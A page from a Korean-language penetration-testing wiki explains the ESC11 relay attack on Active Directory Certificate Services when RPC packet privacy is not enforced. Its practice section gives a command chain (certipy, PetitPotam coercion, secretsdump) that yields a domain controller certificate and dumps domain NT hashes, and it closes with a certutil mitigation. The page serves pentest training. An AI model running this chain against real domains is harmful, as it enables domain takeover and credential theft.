펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • 대응 방안
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. AD CS

ESC11

AD CS는 기본적으로 ICertPassage 원격 프로토콜은 클라이언트가 CA과 상호 작용하여 CA로부터 인증서를 요청/수신 할 수 있도록 하는 원격 프로시저를엔드포인트로 노출합니다. IF_ENFORCEENCRYPTICERTREQUEST 플래그가 활성화 되면 RPC 인터페이스는 RPC_C_AUTHN_LEVEL_PKT_PRIVACY 인증 레벨의 연결만 허용하며, 이것은 가장 높은 인증 레벨입니다. 이는 모든 종류의 릴레이 공격을 방지하기 위해 각 패킷의 서명과 암호화를 요구합니다.

RPC 등록 인터페이스가 패킷 프라이버시를 요구하지 않으면 ESC11과 같은 Relay 공격에 취약하지만 이 플래그는 기본적으로 활성화 되어있는 상태이기 때문에 기본값은 안전합니다. 하지만 대상 도메인에 Windows Server 2012 미만또는 Windows Server 2008과 같은 이전 버전의 Windows Server가 있거나, Windows XP를 실행하는 클라이언트와 같이 필요한 RPC 인증 수준을 지원할 수 없는 클라이언트를 허용하기 위해서 종종 관리자가 플래그를 변경하는 경우가 있습니다.

IF_ENFORCEENCRYPTICERTREQUEST 플래그가 비활성화 된 상태라면, 암호화 되지 않은 세션 (HTTP를 통한 SMB NTLM 인증 릴레이)을 사용하여 인증서 등록이 가능할 수 있습니다.

Practice

# 취약한 CA 템플릿 검색
certipy-ad find -u <USER> -p <PASS> -dc-ip <dc-ip> -vulnerable -stdout -enabled

# 대상의 강제 인증 수신 대기
certipy-ad relay -target <rpc://ADCS> -ca <CA> -template DomainController

# 강제 인증
python3 PettiPotam.py -u <USER> -p <PASS> -d <Domain> <dc-ip> <dc-ip>

# 강제 인증을 통해 얻은 pfx 파일 덤핑
certipy-ad auth -pfx <PFX File>

# Domain NT Hash 덤핑
KRB5CCNAME=<Domain.ccache> /usr/share/doc/python3-impacket/examples/secretsdump.py -k -no-pass <Domain FQDN>

대응 방안

# CA 플래그 활성화
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST

# 재실행
net stop certsvc & net start certsvc

References

PreviousESC10NextCVE-2022-26923

Last updated 1 month ago

Was this helpful?

[MS-ICPR]: CertServerRequest (Opnum 0)MicrosoftLearn
Logo
https://academy.hackthebox.com/module/236/section/2549academy.hackthebox.com
[MS-ICPR]: OverviewMicrosoftLearn
Logo
Relaying to AD Certificate Services over RPCCompass Security Blog
Logo